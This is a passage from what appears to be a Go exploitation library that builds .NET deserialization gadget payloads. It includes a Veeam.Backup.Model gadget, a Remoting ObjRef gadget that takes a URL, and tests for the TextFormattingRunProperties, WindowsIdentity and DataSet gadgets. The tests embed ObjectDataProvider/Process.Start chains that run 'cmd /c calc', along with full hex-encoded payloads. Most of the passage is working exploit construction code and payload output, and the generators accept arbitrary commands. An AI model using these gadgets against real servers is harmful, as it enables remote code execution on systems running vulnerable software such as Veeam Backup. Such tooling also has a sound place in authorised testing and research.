PrimitiveTypeEnum[\"Int16\"])\n\tinnerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum[\"Int16\"])\n\tinnerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum[\"Byte\"])\n\tinnerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum[\"Byte\"])\n\tinnerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum[\"Byte\"])\n\tinnerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum[\"Byte\"])\n\tinnerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum[\"Byte\"])\n\tinnerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum[\"Byte\"])\n\tinnerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum[\"Byte\"])\n\tinnerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum[\"Byte\"])\n\n\tinnerMemberValues = append(innerMemberValues, PrimitiveInt32(-1356456226))\n\tinnerMemberValues = append(innerMemberValues, PrimitiveInt16(-16401))\n\tinnerMemberValues = append(innerMemberValues, PrimitiveInt16(20306))\n\t// 97 0f 7f fe 1c 1c 79 27\n\tinnerMemberValues = append(innerMemberValues, PrimitiveByte(0x97))\n\tinnerMemberValues = append(innerMemberValues, PrimitiveByte(0x0f))\n\tinnerMemberValues = append(innerMemberValues, PrimitiveByte(0x7f))\n\tinnerMemberValues = append(innerMemberValues, PrimitiveByte(0xfe))\n\tinnerMemberValues = append(innerMemberValues, PrimitiveByte(0x1c))\n\tinnerMemberValues = append(innerMemberValues, PrimitiveByte(0x1c))\n\tinnerMemberValues = append(innerMemberValues, PrimitiveByte(0x79))\n\tinnerMemberValues = append(innerMemberValues, PrimitiveByte(0x27))\n\n\tinnerMemberTypeInfo, ok := getMemberTypeInfo(innerMemberTypes, innerMemberNames, innerAdditionalInfo)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tinnerSystemClassWithMembersAndTypes := SystemClassWithMembersAndTypesRecord{\n\t\tClassInfo: ClassInfo{\n\t\t\tObjectID:    -3,\n\t\t\tName:        \"System.Guid\",\n\t\t\tMemberCount: len(innerMemberNames),\n\t\t\tMemberNames: innerMemberNames,\n\t\t},\n\t\tMemberValues:   innerMemberValues,\n\t\tMemberTypeInfo: innerMemberTypeInfo,\n\t}\n\n\tvar memberValues []any\n\tmemberValues = append(memberValues, innerSystemClassWithMembersAndTypes) // ID GUID\n\tmemberValues = append(memberValues, ObjectNullRecord{})                  // KeySetID null\n\tmemberValues = append(memberValues, 1)                                   // KeyType int32\n\n\tmemberValues = append(memberValues, BinaryObjectString{ObjectID: 4, Value: \"aaaaa\"}) // Hint STRING\n\tmemberValues = append(memberValues, BinaryObjectString{ObjectID: 5, Value: \"AAAA\"})  // DecryptedKeyValue STRING\n\tmemberValues = append(memberValues, 0x409)                                           // locallcid int // 1033\n\n\tmemberValues = append(memberValues, \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\") // ModificationDateUtc datetime, just needs to be 8 bytes\n\tmemberValues = append(memberValues, 1)                                  // CryptoAlg int 1\n\tmemberValues = append(memberValues, MemberReferenceRecord{IDRef: 6})    // CryptoAlg int 1\n\n\tvar arrayMembers []any\n\tarrayMembers = append(arrayMembers, BinaryObjectString{ObjectID: 7, Value: innerObjRefB64})\n\tarraySingleStringRecord := ArraySingleStringRecord{\n\t\tArrayInfo: ArrayInfo{\n\t\t\tObjectID:    6,\n\t\t\tMemberCount: 1,\n\t\t},\n\t\tMembers: arrayMembers,\n\t}\n\n\tmemberTypeInfo, ok := getMemberTypeInfo(memberTypes, memberNames, additionalInfo)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tclassWithMembersAndTypes := ClassWithMembersAndTypesRecord{\n\t\tClassInfo:      classInfo,\n\t\tMemberValues:   memberValues,\n\t\tMemberTypeInfo: memberTypeInfo,\n\t\tLibraryID:      2,\n\t}\n\n\t// finalize\n\tserializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}\n\tserializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()\n\tbinaryLibraryRecord := BinaryLibraryRecord{Library: \"Veeam.Backup.Model, Version=12.1.0.0, Culture=neutral, PublicKeyToken=bfd684de2276783a\", ID: 2}\n\tbinaryLibraryRecordString, _ := binaryLibraryRecord.ToRecordBin()\n\tclassWithMembersAndTypesString, ok := classWithMembersAndTypes.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tarraySingleStringRecordString, ok := arraySingleStringRecord.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tpayload := serializationHeaderRecordString +\n\t\tbinaryLibraryRecordString +\n\t\tclassWithMembersAndTypesString +\n\t\tarraySingleStringRecordString +\n\t\tstring(byte(RecordTypeEnumMap[\"MessageEnd\"]))\n\n\tswitch formatter {\n\tcase BinaryFormatter:\n\t\treturn payload, true\n\tcase \"\":\n\t\treturn payload, true\n\tdefault:\n\t\toutput.PrintfFrameworkError(\"Invalid formatter specified for this gadget type. Requested: %s, supported: 'BinaryFormatter'\", formatter)\n\n\t\treturn \"\", false\n\t}\n}\n\nfunc CreateObjectRef(url string, formatter string) (string, bool) {\n\tvar firstMemberValues []any\n\tvar firstAdditionalInfo []any\n\tfirstClassName := \"System.Exception\"\n\tfirstAdditionalInfo = append(firstAdditionalInfo, \"System.Runtime.Remoting.ObjRef\")\n\tfirstMemberValues = append(firstMemberValues, MemberReferenceRecord{IDRef: 2})\n\tfirstMemberNames := []string{\"ClassName\"}\n\tfirstMemberTypes := []string{\"SystemClass\"}\n\tfirstClassInfo := ClassInfo{\n\t\tObjectID:    1,\n\t\tName:        firstClassName,\n\t\tMemberCount: len(firstMemberNames),\n\t\tMemberNames: firstMemberNames,\n\t}\n\tfirstMemberTypeInfo, ok := getMemberTypeInfo(firstMemberTypes, firstMemberNames, firstAdditionalInfo)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tfirstSystemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord{\n\t\tClassInfo:      firstClassInfo,\n\t\tMemberValues:   firstMemberValues,\n\t\tMemberTypeInfo: firstMemberTypeInfo,\n\t}\n\n\t// SECOND CLASS, a value for the first one\n\tvar secondMemberValues []any\n\tsecondClassName := \"System.Runtime.Remoting.ObjRef\"\n\tsecondMemberValues = append(secondMemberValues, BinaryObjectString{ObjectID: 3, Value: url})\n\tsecondMemberNames := []string{\"url\"}\n\tsecondMemberTypes := []string{\"String\"}\n\tsecondClassInfo := ClassInfo{\n\t\tObjectID:    2,\n\t\tName:        secondClassName,\n\t\tMemberCount: len(secondMemberNames),\n\t\tMemberNames: secondMemberNames,\n\t}\n\tsecondMemberTypeInfo, ok := getMemberTypeInfo(secondMemberTypes, secondMemberNames, nil)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tsecondSystemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord{\n\t\tClassInfo:      secondClassInfo,\n\t\tMemberValues:   secondMemberValues,\n\t\tMemberTypeInfo: secondMemberTypeInfo,\n\t}\n\n\t// finalize\n\tserializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}\n\tserializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()\n\tfirstSystemClassWithMembersAndTypesString, ok := firstSystemClassWithMembersAndTypesRecord.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tsecondSystemClassWithMembersAndTypesString, ok := secondSystemClassWithMembersAndTypesRecord.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tpayload := serializationHeaderRecordString +\n\t\tfirstSystemClassWithMembersAndTypesString +\n\t\tsecondSystemClassWithMembersAndTypesString +\n\t\tstring(byte(RecordTypeEnumMap[\"MessageEnd\"]))\n\n\tswitch formatter {\n\tcase BinaryFormatter:\n\t\treturn payload, true\n\tcase \"\":\n\t\treturn payload, true\n\tdefault:\n\t\toutput.PrintfFrameworkError(\"Invalid formatter specified for this gadget type. Requested: %s, supported: 'BinaryFormatter'\", formatter)\n\n\t\treturn \"\", false\n\t}\n}\n"
  },
  {
    "path": "dotnet/dotnetgadget_test.go",
    "content": "package dotnet\n\nimport (\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"testing\"\n)\n\nfunc TestTextFormattingRunPropertiesBinaryFormatter(t *testing.T) {\n\twant, err := ReadGadget(\"TextFormattingRunProperties\", \"BinaryFormatter\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Dynamically test the placeholder command\n\tgot := TextFormattingRunPropertiesBinaryFormatter(\"mspaint.exe\")\n\n\tif got != string(want) {\n\t\tt.Fatalf(\"%q\", got)\n\t}\n\n\tt.Logf(\"%q\", got)\n}\n\nfunc TestGetBinaryLibraryRecord(t *testing.T) {\n\tgot := BinaryLibraryRecord{ID: 2, Library: \"Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\"}\n\tgot2, ok := got.ToRecordBin()\n\tif !ok || fmt.Sprintf(\"%02x\", got2) != \"0c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d33316266333835366164333634653335\" {\n\t\tt.Fatalf(\"Bin lib record record invalid: %v hexform: %02x\", got, got)\n\t}\n\tt.Logf(\"%02x\", got)\n}\n\nfunc TestGetClassInfo(t *testing.T) {\n\tclassName := \"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties\"\n\tmembers := []string{\"ForegroundBrush\"}\n\tgot := ClassInfo{ObjectID: 1, Name: className, MemberCount: len(members), MemberNames: members}\n\tif fmt.Sprintf(\"%02x\", got.ToBin()) != \"01000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e644272757368\" {\n\t\tt.Fatalf(\"Classinfo invalid: %v hexform: %02x\", got, got)\n\t}\n}\n\nfunc TestGetMemberTypeInfo(t *testing.T) {\n\tgot, ok := getMemberTypeInfo([]string{\"String\"}, []string{\"ForegroundBrush\"}, nil)\n\tif !ok {\n\t\tgot2, ok := got.ToBin()\n\t\tif !ok || fmt.Sprintf(\"%02x\", got2) != \"01\" {\n\t\t\tt.Fatalf(\"Member info invalid: %v hexform: %02x\", got, got)\n\t\t}\n\t}\n}\n\nfunc TestGetSerializationHeaderRecord(t *testing.T) {\n\tgot := SerializationHeaderRecord{RootID: 1, HeaderID: -1}\n\tgot2, ok := got.ToRecordBin()\n\n\tif !ok || fmt.Sprintf(\"%02x\", got2) != \"0001000000ffffffff0100000000000000\" {\n\t\tt.Fatalf(\"Serialization header record invalid: %v hexform: %02x\", got, got)\n\t}\n}\n\nfunc TestGetBinaryObjectString(t *testing.T) {\n\tprogram := \"cmd\"\n\targs := \"/c calc\"\n\txmlData := fmt.Sprintf(`<ResourceDictionary\n\t\txmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n\t\txmlns:X=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n\t\txmlns:S=\"clr-namespace:System;assembly=mscorlib\"\n\t\txmlns:D=\"clr-namespace:System.Diagnostics;assembly=system\"\n\t>\n\t\t<ObjectDataProvider X:Key=\"\" ObjectType=\"{X:Type D:Process}\" MethodName=\"Start\">\n\t\t\t<ObjectDataProvider.MethodParameters>\n\t\t\t\t<S:String>%s</S:String>\n\t\t\t\t<S:String>%s</S:String>\n\t\t\t</ObjectDataProvider.MethodParameters>\n\t\t</ObjectDataProvider>\n\t</ResourceDictionary>`, program, args)\n\tgot := BinaryObjectString{ObjectID: 3, Value: xmlData}\n\tgot2, ok := got.ToRecordBin()\n\n\tif !ok || fmt.Sprintf(\"%02x\", got2) != \"060300000096043c5265736f7572636544696374696f6e6172790a0909786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e220a0909786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c220a0909786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c6962220a0909786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d220a093e0a09093c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e0a0909093c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a090909093c533a537472696e673e636d643c2f533a537472696e673e0a090909093c533a537472696e673e2f632063616c633c2f533a537472696e673e0a0909093c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a09093c2f4f626a6563744461746150726f76696465723e0a093c2f5265736f7572636544696374696f6e6172793e\" {\n\t\tt.Fatalf(\"Bin object invalid: %v hexform: %02x\", got, got)\n\t}\n}\n\nfunc TestCreateTextFormattingRunProperties(t *testing.T) {\n\tgot, ok := CreateTextFormattingRunProperties(\"cmd\", \"/c calc\", \"BinaryFormatter\")\n\n\tif !ok || fmt.Sprintf(\"%02x\", got) != \"0001000000ffffffff01000000000000000c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d333162663338353661643336346533350501000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e64427275736801020000000603000000f2033c5265736f7572636544696374696f6e61727920786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e2220786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2220786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c69622220786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d223e3c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e3c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c533a537472696e673e636d643c2f533a537472696e673e3c533a537472696e673e2f632063616c633c2f533a537472696e673e3c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c2f4f626a6563744461746150726f76696465723e3c2f5265736f7572636544696374696f6e6172793e0b\" {\n\t\tt.Fatalf(\"CreateTextFormattingRunProperties output invalid: %q hexform: %02x\", got, got)\n\t}\n}\n\nfunc TestFormatLOS(t *testing.T) {\n\tdecodedString, _ := hex.DecodeString(\"0001000000ffffffff01000000000000000c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d333162663338353661643336346533350501000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e6442727573680102000000060300000096043c5265736f7572636544696374696f6e6172790a0909786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e220a0909786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c220a0909786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c6962220a0909786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d220a093e0a09093c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e0a0909093c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a090909093c533a537472696e673e636d643c2f533a537472696e673e0a090909093c533a537472696e673e2f632063616c633c2f533a537472696e673e0a0909093c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a09093c2f4f626a6563744461746150726f76696465723e0a093c2f5265736f7572636544696374696f6e6172793e0b\")\n\tgot := FormatLOS(string(decodedString))\n\tif fmt.Sprintf(\"%02x\", got) != \"ff0132f4050001000000ffffffff01000000000000000c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d333162663338353661643336346533350501000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e6442727573680102000000060300000096043c5265736f7572636544696374696f6e6172790a0909786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e220a0909786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c220a0909786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c6962220a0909786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d220a093e0a09093c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e0a0909093c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a090909093c533a537472696e673e636d643c2f533a537472696e673e0a090909093c533a537472696e673e2f632063616c633c2f533a537472696e673e0a0909093c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a09093c2f4f626a6563744461746150726f76696465723e0a093c2f5265736f7572636544696374696f6e6172793e0b\" {\n\t\tt.Fatalf(\"FormatLOS output invalid: %q hexform: %02x\", got, got)\n\t}\n}\n\n// This test uses a gadget with a SystemClassWithMembersAndTypesRecord which is treatede slightly differently by the SOAPFormatter.\nfunc TestFormatSOAPWindowsIdentity(t *testing.T) {\n\tgot, ok := CreateWindowsIdentity(\"cmd\", \"/c calc\", \"SOAPFormatter\")\n\tif !ok || fmt.Sprintf(\"%02x\", got) != \"3c534f41502d454e563a456e76656c6f706520786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612220786d6c6e733a534f41502d454e433d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f2220786d6c6e733a534f41502d454e563d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a636c723d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f736f61702f656e636f64696e672f636c722f312e302220534f41502d454e563a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c534f41502d454e563a426f64793e3c61313a57696e646f77734964656e746974792069643d227265662d312220786d6c6e733a61313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e73617373656d2f53797374656d2e53656375726974792e5072696e636970616c2f6d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839223e3c53797374656d2e53656375726974792e436c61696d734964656e746974792e6163746f722069643d227265662d3222207873693a747970653d227873643a737472696e67223e414145414141442f2f2f2f2f41514141414141414141414d4167414141456c5465584e305a57307349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d446735425145414141434541564e356333526c62533544623278735a574e3061573975637935485a57356c636d6c6a4c6c4e76636e526c5a464e6c644741785731745465584e305a573075553352796157356e4c43427463324e76636d787059697767566d567963326c76626a30304c6a41754d4334774c4342446457783064584a6c5057356c645852795957777349464231596d78705930746c6556527661325675505749334e324531597a55324d546b7a4e4755774f446c64585151414141414651323931626e514951323974634746795a584948566d567963326c766267564a6447567463774144414159496a51465465584e305a573075513239736247566a64476c76626e4d75523256755a584a70597935446232317759584a706332397551323974634746795a584a674d56746255336c7a644756744c6c4e30636d6c755a79776762584e6a62334a736157497349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d4467355856304941674141414149414141414a41774141414149414141414a4241414141415144414141416a51465465584e305a573075513239736247566a64476c76626e4d75523256755a584a70597935446232317759584a706332397551323974634746795a584a674d56746255336c7a644756744c6c4e30636d6c755a79776762584e6a62334a736157497349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d44673558563042414141414331396a6232317759584a706332397541794a5465584e305a573075524756735a576468644756545a584a7059577870656d463061573975534739735a475679435155414141415242414141414149414141414742674141414163765979426a5957786a42676341414141445932316b424155414141416955336c7a644756744c6b526c6247566e5958526c55325679615746736158706864476c76626b68766247526c63674d4141414149524756735a57646864475548625756306147396b4d4164745a58526f6232517841774d444d464e356333526c625335455a57786c5a3246305a564e6c636d6c6862476c3659585270623235496232786b5a584972524756735a57646864475646626e52796553395465584e305a573075556d566d6247566a64476c766269354e5a5731695a584a4a626d5a7655325679615746736158706864476c76626b68766247526c6369395465584e305a573075556d566d6247566a64476c766269354e5a5731695a584a4a626d5a7655325679615746736158706864476c76626b68766247526c63676b494141414143516b414141414a4367414141415149414141414d464e356333526c625335455a57786c5a3246305a564e6c636d6c6862476c3659585270623235496232786b5a584972524756735a57646864475646626e5279655163414141414564486c775a51686863334e6c62574a7365515a3059584a6e5a585153644746795a32563056486c775a55467a63325674596d7835446e5268636d646c644652356347564f5957316c436d316c644768765a4535686257554e5a4756735a57646864475646626e5279655145424167454241514d7755336c7a644756744c6b526c6247566e5958526c55325679615746736158706864476c76626b68766247526c636974455a57786c5a3246305a55567564484a354267734141414377416c4e356333526c625335476457356a59444e6257314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f56307357314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f56307357314e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a4c43425465584e305a57307349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d44673558563047444141414145747463324e76636d787059697767566d567963326c76626a30304c6a41754d4334774c4342446457783064584a6c5057356c645852795957777349464231596d78705930746c6556527661325675505749334e324531597a55324d546b7a4e4755774f446b4b426730414141424a55336c7a644756744c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f51594f41414141476c4e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a426738414141414655335268636e514a454141414141514a414141414c314e356333526c625335535a575a735a574e30615739754c6b316c62574a6c636b6c755a6d39545a584a7059577870656d463061573975534739735a475679427741414141524f5957316c4445467a63325674596d7835546d46745a516c446247467a633035686257554a55326c6e626d463064584a6c436c4e705a323568644856795a54494b54575674596d567956486c775a5242485a57356c636d6c6a51584a6e6457316c626e527a41514542415145414177674e55336c7a644756744c6c52356347566258516b5041414141435130414141414a446741414141595541414141506c4e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a49464e3059584a304b464e356333526c6253355464484a70626d637349464e356333526c6253355464484a70626d6370426855414141412b55336c7a644756744c6b52705957647562334e3061574e7a4c6c427962324e6c63334d6755335268636e516f55336c7a644756744c6c4e30636d6c755a79776755336c7a644756744c6c4e30636d6c755a796b49414141414367454b4141414143514141414159574141414142304e7662584268636d554a44414141414159594141414144564e356333526c6253355464484a70626d6347475141414143744a626e517a4d6942446232317759584a6c4b464e356333526c6253355464484a70626d637349464e356333526c6253355464484a70626d637042686f414141417955336c7a644756744c6b6c7564444d7949454e7662584268636d556f55336c7a644756744c6c4e30636d6c755a79776755336c7a644756744c6c4e30636d6c755a796b4941414141436745514141414143414141414159624141414163564e356333526c625335446232317759584a70633239755944466257314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f563164435177414141414b435177414141414a4741414141416b57414141414367733d3c2f53797374656d2e53656375726974792e436c61696d734964656e746974792e6163746f723e3c2f61313a57696e646f77734964656e746974793e3c2f534f41502d454e563a426f64793e3c2f534f41502d454e563a456e76656c6f70653e\" {\n\t\tt.Fatalf(\"Invalid WindowsIdentity+SOAPFormatter output... val: %q hexform: %02x\\n\", got, got)\n\t}\n}\n\nfunc TestFormatSOAPDataSet(t *testing.T) {\n\tgot, ok := CreateDataSet(\"cmd\", \"/c calc\", \"SOAPFormatterWithExceptions\")\n\tif !ok || fmt.Sprintf(\"%02x\", got) != \"3c534f41502d454e563a456e76656c6f706520786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612220786d6c6e733a534f41502d454e433d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f2220786d6c6e733a534f41502d454e563d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a636c723d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f736f61702f656e636f64696e672f636c722f312e302220534f41502d454e563a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c534f41502d454e563a426f64793eefbbbf3c534f41502d454e563a4661756c742069643d22787265662d31223e0a202020203c6661756c74636f64652069643d22787265662d32223e534f41502d454e563a5365727665723c2f6661756c74636f64653e0a202020203c6661756c74737472696e672069643d22787265662d33223e202a2a2a2a2053797374656d2e457863657074696f6e202d20457863657074696f6e206f66207479706520262333393b53797374656d2e457863657074696f6e262333393b20776173207468726f776e2e3c2f6661756c74737472696e673e0a202020203c64657461696c207873693a747970653d2278313a5365727665724661756c742220786d6c6e733a78313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e732f53797374656d2e52756e74696d652e53657269616c697a6174696f6e2e466f726d617474657273223e0a20202020202020203c657863657074696f6e54797065207873693a6e756c6c3d2231222f3e0a20202020202020203c6d657373616765207873693a6e756c6c3d2231222f3e0a20202020202020203c737461636b5472616365207873693a6e756c6c3d2231222f3e0a20202020202020203c657863657074696f6e20687265663d2223787265662d34222f3e0a202020203c2f64657461696c3e0a3c2f534f41502d454e563a4661756c743e0a3c78323a457863657074696f6e2069643d22787265662d342220786d6c6e733a78323d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e732f53797374656d223e0a202020203c436c6173734e616d652069643d22787265662d35223e53797374656d2e457863657074696f6e3c2f436c6173734e616d653e0a202020203c4d657373616765207873693a6e756c6c3d2231222f3e0a202020203c4461746120687265663d2223787265662d36222f3e0a202020203c496e6e6572457863657074696f6e207873693a6e756c6c3d2231222f3e0a202020203c48656c7055524c207873693a6e756c6c3d2231222f3e0a202020203c537461636b5472616365537472696e67207873693a6e756c6c3d2231222f3e0a202020203c52656d6f7465537461636b5472616365537472696e67207873693a6e756c6c3d2231222f3e0a202020203c52656d6f7465537461636b496e6465783e303c2f52656d6f7465537461636b496e6465783e0a202020203c457863657074696f6e4d6574686f64207873693a6e756c6c3d2231222f3e0a202020203c48526573756c743e2d323134363233333038383c2f48526573756c743e0a202020203c536f75726365207873693a6e756c6c3d2231222f3e0a202020203c576174736f6e4275636b657473207873693a6e756c6c3d2231222f3e0a3c2f78323a457863657074696f6e3e0a3c78333a4c69737444696374696f6e617279496e7465726e616c2069643d22787265662d362220786d6c6e733a78333d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e732f53797374656d2e436f6c6c656374696f6e73223e0a202020203c6865616420687265663d2223787265662d37222f3e0a202020203c76657273696f6e3e313c2f76657273696f6e3e0a202020203c636f756e743e313c2f636f756e743e0a3c2f78333a4c69737444696374696f6e617279496e7465726e616c3e0a3c78333a4c69737444696374696f6e617279496e7465726e616c5f78303032425f44696374696f6e6172794e6f64652069643d22787265662d372220786d6c6e733a78333d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e732f53797374656d2e436f6c6c656374696f6e73223e0a202020203c6b65792069643d22787265662d3922207873693a747970653d22534f41502d454e433a737472696e67223e783c2f6b65793e0a202020203c76616c7565202f3e0a202020203c6e657874207873693a6e756c6c3d2231222f3e0a3c2f78333a4c69737444696374696f6e617279496e7465726e616c5f78303032425f44696374696f6e6172794e6f64653e0a3c78323a56657273696f6e2069643d22787265662d31312220786d6c6e733a78323d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e732f53797374656d223e0a202020203c5f4d616a6f723e323c2f5f4d616a6f723e0a202020203c5f4d696e6f723e303c2f5f4d696e6f723e0a